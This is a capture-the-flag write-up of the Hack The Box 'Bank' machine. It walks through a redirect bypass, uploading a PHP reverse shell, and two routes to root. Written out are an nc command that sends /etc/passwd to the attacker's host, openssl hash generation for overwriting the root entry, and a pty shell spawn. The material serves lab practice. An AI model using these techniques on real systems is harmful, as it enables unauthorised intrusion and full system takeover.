i. Port Scan
ii. Enumeration / Low Priv Shell
Starting off with http, we navigate to the host:
We see the default apache page.
The reason we see the default apache page is because Apache is using Virtual Hosting.
If we edit our hosts file (
/etc/hosts), this is the local DNS in Linux.
We add bank.htb along with the IP:
Knowing to edit the hosts file is a little trivial. I guess DNS being open was some sort of a hint?
Now navigating to bank.htb:
Time to run a gobuster, and see if there are any other directories / PHP files:
Navigating to any of these pages redirects us back to /login.php
Let’s try grabbing the source of support.php with curl:
Looks like the page has content, but we’re being redirected.
The way we can see what’s on the page is by using a web proxy.
For some reason Burp was not returning the response code and was automatically sending a GET request to login.php, so I used
Navigate to support.php:
Change the 302 to 200, and the page should load without redirecting:
Looks like we have a place where we can upload files. If we noticed from the source earlier, there’s a message:
So the extension .htb, gets treated as .php.
I’m going to use a php reverse shell, rename it to shell.htb, and upload the shell.
After uploading the shell, you will be redirected back to login.php
Now you can access your uploaded shell on
http://bank.htb/uploads/shell.htb and the listener should catch it:
iii. Privilege Escalation
There are two ways to escalate privileges.
a. Priv Esc #1
While enumerating the system, I noticed that the
/etc/passwd file had write permissions for our user.
I then used nc to transfer the
passwd file to my system so I can edit it:
ON OTHER HOST: $ nc -w 3 YOUR-IP PORT < file ON YOUR HOST: $ nc -l -p PORT > file
Now we can use
openssl to generate a password and insert it into
$ openssl passwd -1 -salt [username] [password] The original format of root entry: root:x:0:0:root:/root:/bin/bash the x is a placeholder for the password, which the system retrieves the hash from /etc/shadow if we replace x with a hash generated by openssl, we can login - you can also make a new account and set the UID to 0, and it'll be treated as root as well https://www.cyberciti.biz/faq/understanding-etcpasswd-file-format/
Then use wget to download the new passwd file and use the
-O switch to output the file as
Now we can
su to root with the password we generated.
- A TTY shell must be spawned before using su
python -c 'import pty;pty.spawn("/bin/bash")'
b. Priv Esc #2
If we look at all the files that contain SUID bits with root permissions:
/var/htb/emergency seems to be a little sketchy.
We are root!
I had trouble in the beginning of the box because of the Virtual Hosting. Apart from that this box is great practice to make sure you keep your eyes out and not miss little details.
Sources / Links: : https://httpd.apache.org/docs/trunk/vhosts/examples.html : http://pentestmonkey.net/tools/web-shells/php-reverse-shell : https://www.cyberciti.biz/faq/understanding-etcpasswd-file-format/